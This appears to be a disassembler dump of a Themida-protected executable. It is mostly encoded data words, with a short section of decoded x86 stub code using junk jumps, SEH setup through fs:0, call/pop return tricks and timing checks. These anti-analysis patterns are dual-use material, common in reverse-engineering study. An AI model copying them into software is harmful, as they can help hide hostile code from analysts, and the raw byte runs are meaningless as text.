		dd 8352EE01h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 5C6752C3h, 6AFC6DDCh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 163BC353h, 0ACA4D37Bh, 0B70FE9E8h, 89C02BD9h, 0B29059Dh
		dd 6AD22B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 78BCC357h, 29FB0D2Ch, 0B0F35B5h
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 118531F4h, 6A060B10h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 9D73C353h, 0F517A9Fh, 683h, 19BD8B00h, 5B060B33h
		dd 880Dh, 958BF500h, 60B174Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D1C35242h,	594367DFh, 929BD8Bh
		dd 9D8B060Bh, 60B2EE9h,	1198D8Bh, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0C1BD66C3h
		dd 0AB43D987h, 1B918589h, 8B50060Bh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	6810Fh,	0E7810000h, 3D4AF582h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 13C35747h
		dd 0E9BD8B66h, 83060B19h, 0B29BDBDh, 840F0006h,	7Ah, 559D8B51h
		dd 5F060B2Fh, 2A599D8Bh, 0B8060Bh, 81000000h, 0A9CA6BDBh
		dd 0D78D8D4Eh, 6A060B4Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 40B6C350h, 6880F80h
		dd 9000000h, 0B16ADB5h,	0B6BF6606h, 6AE1FF74h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 93C6C356h, 0BFD99B29h, 31ED8C8Bh, 68DB529h, 0BD83060Bh
		dd 60B1009h, 78840F00h,	66000004h, 83D85ABBh, 0B1009BDh
		dd 840F0106h, 482h, 9599BB66h, 1009BD83h, 0F03060Bh, 43B86h
		dd 6A6000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0FD60C4C3h, 16B99D8Bh, 6E8060Bh, 0EC000000h
		dd 110B099Eh, 0B1BD8909h, 5F060B19h, 6AD98C66h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 102DC356h, 0E180D44Fh, 0D98D8904h, 0A060B13h, 61840FC9h
		dd 8B000001h, 0B218DBDh, 31606006h, 0B1241BDh, 6161F906h
		dd 317D858Bh, 8166060Bh, 33680EF7h, 0B06ED85h, 0BDBD0106h
		dd 0F5060B18h, 0DE990h,	0E6C40000h, 0EB80364Dh,	544725C1h
		dd 50AF2B23h, 6A90DA8Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8930C352h, 0B078595h
		dd 66006A06h, 0E8CD43BFh, 4, 1F03FFh, 16870F50h, 0E8000000h
		dd 0Eh,	58D0E6F1h, 0E4E2DB14h, 1716CF4h, 0AB7E0B9h, 24448B5Fh
		dd 13E904h, 85C20000h, 0CA456E7Fh, 0EC254467h, 56C63062h
		dd 13A8F47h, 0E9008B2Ch, 12h, 31FF77C1h, 53CCF8AAh, 1FA1D196h
		dd 0D56711C1h, 44894781h, 0F510424h, 28Ch, 5F616000h, 0BBBB6658h
		dd 0D195FF39h, 6A060B03h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 5B7C352h, 99EECE1h
		dd 8589110Bh, 60EA81Dh,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0B6C35141h, 0E2AEAD4Bh
		dd 0EF5D2B79h, 19B5093Dh, 0F060B04h, 0CEE9DBBFh, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F0D6C352h, 0FC527BE7h, 0BD8BF91Fh, 60B0BC9h
		dd 0A815858Bh, 6A060Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 86DC5FC3h, 0C9F333B2h, 182711BBh
		dd 1800C73Dh, 0FC000000h, 0A819B58Bh, 6A060Eh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 33F9C6C3h, 0B2849BDh, 0E59D8B06h, 8B060B07h,	0B06E185h
		dd 895EB706h, 29BD3306h, 1060B10h, 0B112995h, 7D858B06h
		dd 6A060B31h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 3A12C350h, 10E8h, 95F6B200h, 0CFBC3BA1h
		dd 0C14A6DFEh, 4EECB116h, 95B509A8h, 5B060B01h,	0EE9h
		dd 7EEB9700h, 77EB7E83h, 67BAE7F9h, 8917F674h, 60510446h
		dd 5A56C18Bh, 8B965F61h, 8B6650FBh, 0D78196F8h,	5E036FFCh
		dd 6880Fh, 0BD8B0000h, 60B2DFDh, 0A815B5FFh, 6A060Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 1D4AB1C3h, 0A7CA855Fh, 0D781E4ECh, 2B8DAB0h,	4ACB7F68h
		dd 13E9E7h, 5BA30000h, 0B58ECAD2h, 0CDE575A6h, 0E6A1F64h
		dd 3A656327h, 240481AFh, 18D43880h, 1D858DF9h, 8B060EA8h
		dd 0B240D9Dh, 0BF669006h, 6650A488h, 90902ABFh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 9D8B6080h
		dd 60B2EC9h, 0D195FF61h, 9060B03h, 0B31698Dh, 13E906h
		dd 0BCC50000h, 0E8803D51h, 68D90A7Dh, 401DA51Dh, 6F0DF8A1h
		dd 6A617Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 56BE2FC3h, 16EBCF6Fh, 0BF0FD02Bh,	6DBD8BDAh
		dd 0C7060B29h, 0B100985h, 306h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0C4CA9019h
		dd 8A18BF66h, 0A81DBD83h, 0F00060Eh, 6384h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0E9FA8BB2h, 0Ah, 1688801Dh, 87E0C55Ah, 4CE9688Eh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0DB5C351h, 0FE9h,	73B6C100h, 6763C9ACh, 8BB8647h
		dd 6B29C3B8h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0FFEAC351h, 66C989CAh,	6880Fh
		dd 8D010000h, 60B0D19h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 65C35747h, 0C5E47935h, 1DCF310Ah, 93E8F381h
		dd 0BD8369BAh, 60B1009h, 69850F03h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0EFBAC353h, 2D001110h, 0CA3EA813h, 0A81DBD83h, 0F00060Eh
		dd 43784h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1604h, 0C3504000h, 33C2583Eh, 0B23159Dh, 9850906h, 0FF060B18h
		dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 2A50059h,	4C60ED55h, 0FF4AB309h
		dd 0B083D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 8E7E71Ch,	8BC75024h, 0EA811B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9D896F49h, 60B1F71h,	106C7h,	6A0001h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 291609C3h
		dd 8DE48120h, 7D9589D4h, 0E8060B18h, 5,	755481F0h, 0FE8B573Bh
		dd 50505B5Fh, 0FA8B6652h, 8D0F310Fh, 6,	310F5250h, 585A585Ah
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0D13FC355h, 47FB3CA8h,	84391C5Ah
		dd 6299D31h, 6E9060Bh, 0F0000000h, 1C9B6688h, 0B5FFF8A8h
		dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	3DC35242h, 6C07EC38h, 1C5CA77Ah, 0C5B5099Bh, 0FF060B14h
		dd 0B064195h, 0C18D8906h, 8B060B08h, 0EA811B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 58804D60h, 1FBF6664h, 1D858BADh, 6A060B12h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0BF97C356h, 0FC872E79h, 9D332062h, 60B3129h,	8D59529h
		dd 8689060Bh, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 80C35141h, 286AD781h,	0BB663804h, 958B49D7h
		dd 60B174Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	88C35646h, 0B95B589h, 0B70F060Bh, 4C283DAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 10E9489Dh
		dd 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 89F992C9h
		dd 95892050h, 60B0F49h,	0BAEE858Dh, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8A03D1C3h
		dd 0E79D8BBEh, 8689FB5Eh, 0B8h,	0BD03006Ah, 60B08C9h, 0A81DB5FFh
		dd 840F060Eh, 6, 21759501h, 95FF060Bh, 60B0F15h, 5050F98Ah
		dd 0DE8B6652h, 8B66310Fh, 89585ADFh, 6A2434h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 6B20BC3h
		dd 0DF8B340Ah, 0A81DB5FFh, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 5A9210C3h
		dd 0BB66F379h, 95FF78E2h, 60B00F5h, 13E9h, 0CE8F900h, 0F0CAD46Eh
		dd 8ECD974Bh, 0FFCFC336h, 0F9650019h, 2191BD83h, 0F00060Bh
		dd 3284h, 0BD9D8B00h, 96060B06h, 50F98B66h, 6A96DF8Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 54D0C357h, 0C3600A0Ah, 0FFFAA4D1h, 0EA81DB5h
		dd 0FDBD8B06h, 0FF060B06h, 0B128195h, 0FF87B306h, 0EA81DB5h
		dd 89D98B06h, 0B32D985h, 8D95FF06h, 80060B0Bh, 0BD83FFEBh
		dd 60B17F1h, 7A840F02h,	0E8000000h, 10h, 937FA6Fh, 0CB6B3842h
		dd 678D4911h, 6DADF841h, 0AE8h,	0DCEB8D00h, 5BE4A752h
		dd 8BBB256Dh, 0B29C5BDh, 8B5F5B06h, 0B2EC585h, 6820F06h
		dd 89000000h, 0B1A99B5h, 0AE906h, 0C6550000h, 97241D61h
		dd 0D5C25EDCh, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 1EEDC352h, 0E176D44Ah
		dd 0D78043BFh, 78BB669Eh, 0B985C7D4h, 60B06h, 0F000000h
		dd 0BD8BD8BFh, 60B13BDh, 0FFF2C5E9h, 56006AFFh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8BF63B33h, 0B0EE99Dh, 6AC18B06h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 996DC351h, 0F5589730h, 5D86E28h, 68F0F57h, 8B000000h
		dd 0B16819Dh, 858D5B06h, 60B28A9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0BDC35343h,	8CEDC9EEh, 8088A98Fh
		dd 0F60C0E3h, 0B70FF7BFh, 895061C6h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 84EFAEC3h
		dd 94197B84h, 8B669FA4h, 6A006AFAh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0FB7FC357h
		dd 8E8B8h, 0CF0A0000h, 0D6A7A45Ch, 0CF81DA05h, 3EC0440Ch
		dd 0DF8B665Bh, 12E9006Ah, 21000000h, 0AF6EC901h, 91520E6Fh
		dd 0E25BE1Ch, 977CCBE8h, 1A858DC4h, 8B060FA1h, 0B2E319Dh
		dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	4BC35242h, 655E8939h, 6850Fh, 0BD8B0000h, 60B2981h
		dd 24048950h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	97C35343h, 0A4B251ABh, 0E7872F2Dh, 79BD2968h, 6A060B13h
		dd 0D8B70F00h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 742186C3h, 2195FF58h, 6A060B2Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FF7C350h, 8D8DDEB7h, 60EA7B0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B9C35646h, 0A98D89A8h
		dd 0FF060B04h, 0BD9D01D1h, 83060B21h, 0B0B19BDh, 850F0106h
		dd 8Ah,	536EBE60h, 830F28C1h, 14h, 0EE8h, 46ABB600h, 5D582F38h
		dd 7D4FAF4Eh, 5EFF1657h, 0F026A61h, 8A90F8BFh, 59BB50DAh
		dd 9072ACA3h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	6DC35646h, 958960DDh, 60B19C1h,	6E9h, 9FF0BE00h
		dd 61340857h, 0F1595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0DFFEB1C3h, 3FE8728Ah
		dd 17E992B2h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 60FA124h
		pusha
		jg	loc_5861DC
		ja	$+6


loc_5861DC:				; CODE XREF: Themida_:005861D0j
		popa
		add	edi, 4320F5ECh
		lea	eax, [ebp+60E9293h]
		mov	ebx, [ebp+60B0FADh]
		nop
		push	eax
		mov	edi, eax
		nop
		pusha
		xor	edi, [ebp+60B2E09h]
		mov	[ebp+60B0115h],	eax
		popa
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_586214
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586214	proc near		; CODE XREF: Themida_:0058620Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_586214	endp

; ---------------------------------------------------------------------------
		pop	edi
		jmp	short loc_58626D
; ---------------------------------------------------------------------------
		db 78h
		dd 506E1006h, 6FF38166h, 0AD9501A8h, 64060B1Ah,	2589h
		dd 95890000h, 60B29ADh,	66D85FFh, 5260060Bh, 42F7CE81h
		dd 0F587B8Eh, 6A61DABFh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h
		db 4
; ---------------------------------------------------------------------------


loc_58626D:				; CODE XREF: Themida_:00586225j
		push	ss
; ---------------------------------------------------------------------------
		dw 0
		dd 0C3534300h, 0FF462078h, 0B0105B5h, 11958906h, 0FF060B22h
		dd 0B241195h, 0EDE906h,	0B5890000h, 60B07D5h, 0AE900B0h
		dd 0A6000000h, 1BF72625h, 0E7BF25E9h, 170E690h,	0B233995h
		dd 51BD8B06h, 0E4060B18h, 0F7816671h, 613CB060h, 0B9830Fh
		dd 9D890000h, 60B0069h,	0BAC8B60Fh, 6, 29899D33h, 0C18B060Bh
		dd 0E2A1EB81h, 0E8C17ECCh, 67BF6604h, 0E2F766CBh, 233D9D89h
		dd 0C82B060Bh, 87B96051h, 6159BB78h, 0F5D18B5Fh, 6E9h
		dd 35BD3300h, 8B060B27h, 0B329185h, 9DB58906h, 83060B05h
		dd 0EF8107C0h, 4BCE7688h, 8A00C083h, 0FD03BD9h,	1583h
		dd 0D0806000h, 22F0BBA3h, 0E96177E6h, 43h, 166D9D8Bh, 8D8B060Bh
		dd 60B2A6Dh, 39850960h,	81060B04h, 9F54F4E7h, 0E1836178h
		dd 20840F01h, 0F000000h, 81h, 6DA58300h, 0FE060B2Ah, 919589F8h
		dd 57060B32h, 3366C6BBh, 0E95F61h, 8D000000h, 0F0B15B5h
		dd 0BFD78106h, 6A0AB0FEh, 0A6C38000h, 32DD95FFh, 9D2B060Bh
		dd 60B1965h, 71FB9h, 0E183F500h, 66FCF5FCh, 9F5BEF81h
		dd 68E0Fh, 0BD8B0000h, 60B23F5h, 6AC02Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 8F31CAC3h
		dd 239C2484h, 0B31D5BDh, 6AD22B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7540C357h
		dd 3E7AAD5Fh, 882969BBh, 8D9D893Bh, 0AD060B32h,	0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 537AC352h, 0BDD407E4h
		dd 9D8960F7h, 60B1359h,	31858B60h, 0E9060B2Eh, 10h, 6F812D4Eh
		dd 0DC922A80h, 0F75D434Bh, 0CC362178h, 830F6161h, 6, 0E15BD8Bh
		dd 880D060Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0C7FAC357h,	0F98B9651h
		dd 8BD8B70Fh, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 1D958909h, 8B060B24h
		dd 0B01198Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0C93DD0F1h, 0F88BF992h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D3A13C3h
		dd 0E3816642h, 6AEBF7h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 6C3767C3h, 839718CAh, 0B29BDBDh
		dd 840F0006h, 54h, 800Fh, 0B80000h, 89000000h, 0B32F9B5h
		dd 0D78D8D06h, 81060B4Dh, 9416D7F7h, 6AE1FF49h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 1ADDC353h, 0AED07A3h, 2820Fh, 0DE8B0000h, 68B0Fh, 0BD8B0000h
		dd 60B206Dh, 1009BD83h,	0F00060Bh, 3D984h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0E9B3D5C9h, 0Fh, 85AA7CD0h, 7244AE57h, 0AD435BD2h, 83BD5C56h
		dd 0B1009BDh, 840F0106h, 3B5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 99C35141h, 0AED46228h, 0D34A47EBh
		dd 0D5BD3185h, 56060B17h, 0C9F638BBh, 0BD835B4Fh, 60B1009h
		dd 40860F03h, 0FC000003h, 0E1858960h, 89060B17h, 0B279D9Dh
		dd 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	9BC35242h, 9589C62Ch, 60B234Dh,	0DEB70F57h, 0E9C7805Bh
		dd 6A04E180h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0FCBDC351h, 901BD2Bh, 0C90A060Bh
		dd 0D3840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 3FBBD3C3h, 8B1128C5h, 0B317D85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 5FD18C2Fh, 8533F5A9h, 60B06EDh, 6690F98Bh
		dd 501901BFh, 95E9BF66h, 99BD2990h, 0FC060B17h,	6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0F208A5C3h, 0F75BD89h, 0FF68060Bh, 810B777Dh, 7E002434h
		dd 6A0B68h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 8B5142C3h, 3D195FFh, 8166060Bh, 899ED8E3h
		dd 0EA81D85h, 0E878BF06h, 7AE94975h, 81000001h,	0D0B48F3h
		dd 15858B34h, 8B060EA8h, 0B05D59Dh, 0BE906h, 1C880000h
		dd 0C3AEDC07h, 0C3FECD07h, 1800C757h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0A1F4C351h, 0A819B58Bh, 8B66060Eh, 0E1858BFBh, 89060B06h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 4444285Bh, 9235220h, 0BD232DC6h,	60B12B5h
		dd 317D858Bh, 0BD8B060Bh, 60B0BA5h, 0BF044689h,	6CD6A185h
		dd 5318589h, 6696060Bh,	500343BBh, 61606060h, 87BA5761h
		dd 5F599967h, 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BF6608C3h, 0B5FF9E3Ch, 60EA815h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 90C35545h
		dd 0BD2956F2h, 60B1341h, 3D1685Bh, 6651246Ah, 815BDF8Bh
		dd 2E2434h, 6A2475h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 180424h, 50400000h, 0A6B020C3h, 858D9E1Ah, 60EA81Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 79C35343h
		dd 6E8ACh, 73970000h, 0D6E7A5BFh, 0F91BD01h, 905B060Bh
		dd 0BB50FB8Bh, 23C646CEh, 7DBD8990h, 0FF060B0Bh, 0B03D195h
		dd 67BB6606h, 6A6163h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 5AB9ABC3h, 8848BFDEh, 8B662194h
		dd 985C7D8h, 3060B10h, 0BF000000h, 3FBF3810h, 0A81DBD83h
		dd 0F00060Eh, 4A84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 44E95Ah, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 1347BC3h, 0B0E69BDh,	0AD952906h, 50060B0Bh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BD89C08Bh
		dd 60B06D5h, 6E8h, 5A524100h, 3B68BB9h,	0B02A99Dh, 6E95F06h
		dd 7F000000h, 0E1F2645Ah, 9BD83E3h, 3060B10h, 3DF850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8B6642C3h, 1DBD83F8h, 60EA8h, 3B3840Fh, 8E90000h
		dd 0E6000000h, 585681E2h, 0FFB440EAh, 0EA81DB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0CEB1DFEh, 0D2B14483h, 89BD2957h, 5B060B03h,	83D95FFh
		dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8918B9C3h, 0B0671BDh, 11B58B06h, 6A060EA8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 1AB9C350h, 6C74347h, 10001h, 1B558589h, 6096060Bh
		dd 880F53h, 5F000000h, 5061DE8Bh, 5E95250h, 85000000h
		dd 0B4A89935h, 0E853310Fh, 0Ch,	0CCA14C98h, 8502F5AAh
		dd 42F787BFh, 585A5B5Fh, 5820F96h, 0BB000000h, 2F60ECFAh
		dd 0A81DB5FFh, 6A060Eh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0F76D6DC3h, 66126788h, 95FFFB8Bh
		dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0E8C35242h, 9D8BE737h, 60B0B39h, 15A1B589h, 0B58B060Bh
		dd 60EA811h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0CAC35343h, 0BF395B8h, 1299DFE3h, 0CE9h, 0E93EB900h
		dd 0E7FABF82h, 8EBFB665h, 1D858B50h, 0F060B12h,	584h, 0CF816600h
		dd 86893F7Bh, 0C4h, 6D958B60h, 66060B0Fh, 61823EBBh, 174D958Bh
		dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0B88D80C3h, 8E93B8Eh, 81000000h, 654F0725h
		dd 8318536Eh, 0BD0304C2h, 60B29E5h, 0F205089h, 1982h, 14E900h
		dd 5B2B0000h, 8202E09Ah, 0C0589C2Ah, 72797BA4h,	5491DAF5h
		dd 858DD185h, 60EBAEEh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0A1C35545h, 0DCDBD31h, 8689060Bh, 0B8h
		dd 0DE9h, 0E34B3C00h, 0FA67209Fh, 0ACE45AFFh, 6ABF28h
		dd 9860Fh, 8B600000h, 1C21B8C2h, 0FF61303Ch, 0EA81DB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0CDEAAF03h, 59589A3h, 0FF060B07h, 0B0F1595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 9ABD49E1h, 6CC2FFB2h, 0DFBF0FA7h, 0FE996h
		dd 0B52D0000h, 9F9C7F83h, 4D75D63h, 3D5D41F2h, 0B7515034h
		dd 0B7965B83h, 1DB5FFABh, 6A060EA8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 68E9C357h
		dd 0C229F84Dh, 0E9A87D66h, 7, 0F9312C7Ch, 0FF81A549h, 0B00F595h
		dd 1DBD0106h, 83060B29h, 0B2191BDh, 840F0006h, 15h, 192D9501h
		dd 0BF50060Bh, 465048BAh, 89243489h, 0B0435BDh,	1DB5FF06h
		dd 66060EA8h, 734AEF81h, 128195FFh, 0E7B3060Bh,	0A81DB5FFh
		dd 0FBBF060Eh, 0FF2FB5ABh, 0B0B8D95h, 0F1BD8306h, 2060B17h
		dd 3D840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 5051F0C3h, 5B5B5F51h, 2EC5858Bh
		dd 0BD8B060Bh, 60B13C1h, 0F0000C6h, 68Dh, 72EF8100h, 0C71B1B6Ah
		dd 0B06B985h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0BF71625Fh, 0ACAC28D3h
		dd 0F489E9D0h, 8166FFFFh, 8BEA8ADFh, 0D78166C1h, 858DE6B7h
		dd 60B28A9h, 7E9h, 2B047E00h, 65B8BABEh, 24048950h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0A5C35040h, 94C4D614h
		dd 6ADE8Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ch,	0F4C35747h, 931DCE0h, 880D33F4h, 10E9h,	0A4FB0B00h
		dd 3F46F8D4h, 0B06C45C0h, 0D7363A92h, 0B5BD2BB7h, 6A060B27h
		dd 21BD0B00h, 8D060B27h, 0FAFAB85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5EC1C252h
		dd 0F7C603ADh, 8A0FFE8Bh, 6, 293D9D8Bh,	0C083060Bh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0B5895F77h, 60B2EF9h, 830F5790h, 0Bh, 6E9h, 3A4EAE00h
		dd 5B9454FAh, 0B8C0F50h, 50000000h, 0BF310F52h,	54F02B9Fh
		dd 0BF90585Ah, 6D832311h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 9BA5EBC3h, 0BD0B4C55h
		dd 60B29FDh, 6AD98Bh, 0FFF8BF0Fh, 0B2F2195h, 52006A06h
